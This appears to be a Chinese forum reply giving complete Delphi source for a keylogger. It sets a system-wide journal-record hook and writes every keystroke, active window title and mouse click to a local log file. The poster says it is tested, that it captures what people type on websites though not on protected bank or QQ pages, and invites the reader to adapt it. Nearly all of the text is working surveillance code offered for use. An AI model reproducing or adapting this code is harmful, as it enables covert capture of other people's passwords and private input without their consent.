//新建个文本讲以下代码保存为HKproc.pas 在用delphi填加<br><br>unit HKproc;<br><br>interface<br>Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;<br>var<br> hNextHookProc:HHOOK;<br> procSaveExit
ointer;<br> G_lastFocus:THandle;<br> G_PrevChar:Char;<br> function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;<br> function EnableHotKeyHooK:BOOL;export;<br> function DisableHotKeyHook:BOOL;export;<br> procedure HotKeyHookExit;far;<br><br>const<br> _KeyPressMask=$80000000;<br><br>implementation<br> // 按键记录方法<br>function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;<br>const<br> SfileName='c:/logfile.txt'; //记录保存本地地址<br>var<br> pEvt:TEventMsg;<br> hFocus:THandle;<br> szTitle:array[0..255] of Char;<br> Stream:TextFile;<br> vKey:Integer;<br> ch:Char;<br> str:array[0..10] of Char;<br> pt:TDateTime;<br> time1:String;<br> iCtrl,iAlt,iShift:Integer;<br> iNumLock:Integer;<br> iCapital:Integer;<br> bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;<br> MouPos:TPoint;<br> StrString:String;<br> SPCH:Char;<br>begin<br> Result:=0;<br> if (iCode<0) then<br> begin<br> Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));<br> exit;<br> end;<br> if iCode=HC_ACTION then<br> begin<br> pEvt:=PEventMsg(lParam)^;<br> //if not FileExists(SfileName) then<br> // FileCreate(SfileName);<br> AssignFile(Stream,SfileName);<br> if not FileExists(SfileName) then<br> Rewrite(Stream)<br> else<br> Append(Stream);<br> if pEvt.message=WM_KEYDOWN then<br> begin<br> vKey:=LOBYTE(pEvt.paramL);<br><br> hFocus:=GetActiveWindow;<br> if G_lastFocus<>hFocus then<br> begin<br> GetWindowText(hFocus,szTitle,256);<br> G_lastFocus:=hFocus;<br> pt:=Now;<br> time1:=FormatDateTime('(yyyy-mm-dd hh:mm:ss:zzz) ',pt);<br> time1:=time1+' '+szTitle;<br> Writeln(Stream,Time1);<br> end;<br> iShift:=GetKeyState(VK_SHIFT);<br> iCapital:=GetKeyState(VK_CAPITAL);<br> iNumLock:=GetKeyState(VK_NUMLOCK);<br> iCtrl:=GetKeyState(VK_CONTROL);<br> iAlt:=GetKeyState(VK_MENU);<br> if ((iShift and _KeyPressMask)=_KeyPressMask) then<br> begin<br> bShift:=True;<br> end<br> else<br> begin<br> bShift:=False;<br> end;<br> if ((iCtrl and _KeyPressMask)=_KeyPressMask) then<br> begin<br> bCtrl:=True;<br> end<br> else<br> begin<br> bCtrl:=False;<br> end;<br> if ((iAlt and _KeyPressMask)=_KeyPressMask) then<br> begin<br> bAlt:=True;<br> end<br> else<br> begin<br> bAlt:=False;<br> end;<br> bCapital:=(iCapital and 1)=1;<br> bNumlocl:=(iNumLock and 1)=1;<br> if (vKey>=48) and (vKey<=57) then<br> begin<br> if not bShift then<br> Write(Stream,char(vKey));<br> end;<br> if (vKey>=65) and (vKey<=90) then<br> begin<br> if not bCapital then<br> begin<br> if bShift then<br> ch:=char(vKey)<br> else<br> ch:=char(vKey+32);<br> end<br> else<br> begin<br> if bShift then<br> ch:=char(vKey+32)<br> else<br> ch:=char(vKey);<br> end;<br> Write(Stream,ch);<br> end;<br> if (vKey>=96) and (vKey<=105) then<br> begin<br> if bNumlocl then<br> begin<br> write(Stream,char(vKey-96+48));<br> end;<br> end;<br> if (vKey>=186) and (vKey<=222) then<br> begin<br> case vKey of<br> 186:<br> begin<br> if not bShift then<br> ch:=';'<br> else<br> ch:=':'<br> end;<br> 187:<br> begin<br> if not bShift then<br> ch:='='<br> else<br> ch:='+'<br> end;<br> 188:<br> begin<br> if not bShift then<br> ch:=','<br> else<br> ch:='<'<br> end;<br> 189:<br> begin<br> if not bShift then<br> ch:='-'<br> else<br> ch:='_'<br> end;<br> 190:<br> begin<br> if not bShift then<br> ch:='.'<br> else<br> ch:='>'<br> end;<br> 191:<br> begin<br> if not bShift then<br> ch:='/'<br> else<br> ch:='?'<br> end;<br> 192:<br> begin<br> if not bShift then<br> ch:='`'<br> else<br> ch:='~'<br> end;<br> 219:<br> begin<br> if not bShift then<br> ch:='['<br> else<br> ch:='{'<br> end;<br> 220:<br> begin<br> if not bShift then<br> ch:='/'<br> else<br> ch:='|'<br> end;<br> 221:<br> begin<br> if not bShift then<br> ch:=']'<br> else<br> ch:='}';<br> end;<br> 222:<br> begin<br> if not bShift then<br> ch:='`'<br> else<br> ch:='"';<br> end;<br> else<br> ch:='n'<br> end;<br> if ch<>'n' then<br> write(Stream,ch);<br> end;<br> end;<br> if (vKey<=VK_F12) and (vKey>=VK_F1) then<br> begin<br> time1:=FormatDateTime('(yyyy-mm-dd hh:mm:ss:zzz) ',now);<br> StrString:=Time1+' 按功能键:F'+IntToStr(vKey-111)+'。';<br> Writeln(Stream,StrString);<br> end;<br> if vKey=VK_ESCAPE then<br> begin<br> write(stream,'[ESC]');<br> end;<br> if vKey=VK_ADD then<br> begin<br> write(Stream,'+');<br> end;<br> if vKey=VK_APPS then<br> begin<br> Write(Stream,'[APPS]');<br> end;<br> if vKey=VK_LWIN then<br> begin<br> Write(Stream,'[LWIN]');<br> end;<br> if vKey=VK_RWIN then<br> begin<br> Write(Stream,'[RWIN]');<br> end;<br> if vKey=VK_SPACE then<br> Write(Stream,'[SPACE]');<br> if vKey=VK_DIVIDE then<br> Write(Stream,'[/]');<br> if vKey=VK_SCROLL then<br> Write(Stream,'[SCROLLLock]');<br> if vKey=VK_PAUSE then<br> Write(Stream,'[PAUSE]');<br> if vKey=VK_SUBTRACT then<br> Write(Stream,'[-]');<br> if vKey=VK_MULTIPLY then<br> Write(Stream,'[*]');<br> if vKey=VK_SNAPSHOT then<br> Write(Stream,'[PRINT SCREEN Sys Rq]');<br> if vKey=VK_CAPITAL then<br> Write(Stream,'[CAP LOCK]');<br> if vKey=VK_NUMLOCK then<br> Write(Stream,'[NUM LOCK]');<br> if vKey=VK_DECIMAL then<br> Write(Stream,'[.]');<br> if vKey=VK_CONTROL then<br> Write(Stream,'[CTRL]');<br> if vKey=VK_LMENU then<br> Write(Stream,'[ALT]');<br> if bShift then<br> begin<br> case vKey of<br> 48:spch:=')';<br> 49:spch:='!';<br> 50:spch:='@';<br> 51:spch:='#';<br> 52:spch:='$';<br> 53:spch:='%';<br> 54:spch:='^';<br> 55:spch:='&';<br> 56:spch:='*';<br> 57:spch:='(';<br> else<br> spch:='n';<br> end;<br> if spch<>'n' then<br> Write(Stream,spch);<br> end;<br> if (vKey>=8) and (vKey<=46) then<br> begin<br> case vKey of<br> 8:str:='[BK]';<br> 9:str:='[TAB]';<br> 13:str:='[EN]';<br> 32:str:='[SP]';<br> 33:str:='[PU]';<br> 34:str:='[PD]';<br> 35:str:='[END]';<br> 36:str:='[HOME]';<br> 37:str:='[LF]';<br> 38:str:='[UF]';<br> 39:str:='[RF]';<br> 40:str:='[DF]';<br> 45:str:='[INS]';<br> 46:str:='[DEL]';<br> ELSE<br> ch:='n';<br> end;<br> if ch<>'n' then<br> begin<br> Write(Stream,Str);<br> if vKey=VK_RETURN then<br> begin<br> Writeln(Stream,'');<br> writeln(Stream,'输入回车可能是确认或是换行---');<br> Writeln(Stream,'')<br> end;<br> end;<br> end;<br> if (pEvt.message=WM_LBUTTONDOWN) or (pEvt.message=WM_RBUTTONDOWN) then<br> begin<br> hFocus:=GetActiveWindow;<br> if (G_lastFocus<>hFocus) then<br> begin<br> G_lastFocus:=hFocus;<br> GetWindowText(hFocus,szTitle,256);<br> pt:=Now;<br> time1:=FormatDateTime('(yyyy-mm-dd hh:mm:ss:zzz) ',pt);<br> time1:=time1+' '+szTitle;<br> Writeln(Stream,Time1);<br> end<br> end;<br> CloseFile(Stream);<br> Result:=1;<br> end;<br>end;<br><br>function EnableHotKeyHooK:BOOL;export; // 启动按键记录<br>begin<br> Result:=False;<br> G_lastFocus:=0;<br> if hNextHookProc<>0 then exit;<br> hNextHookProc:=SetWindowsHookEx(WH_JOURNALRECORD,KeyBHkHandle,HInstance,0);<br> Result:=hNextHookProc<>0;<br> //<br>end;<br><br>function DisableHotKeyHook:BOOL;export; // 停止按键记录<br>begin<br> if hNextHookProc<>0 then<br> begin<br> UnhookWindowsHookEx(hNextHookProc);<br> hNextHookProc:=0;<br> MessageBeep(0);<br> MessageBeep(0);<br> end;<br> Result:=hNextHookProc=0;<br> //<br>end;<br><br>procedure HotKeyHookExit;far;<br>begin<br> if hNextHookProc<>0 then<br> DisableHotKeyHook;<br> ExitProc:=procSaveExit;<br> //<br>end;<br><br>end.<br><br>这个我自己试过,可以记录按键信息的,网站上输入的信息都可以记录,不过只对没有限制的像银行的,QQ的是记录不了。。用做你自己的程序是可以的,你再根据你自己的需要改下。<br>应该适合你用了,你自己在记录后,启动的时候去提取下,然后再根据你的需要捕捉按键和设置的一样就行了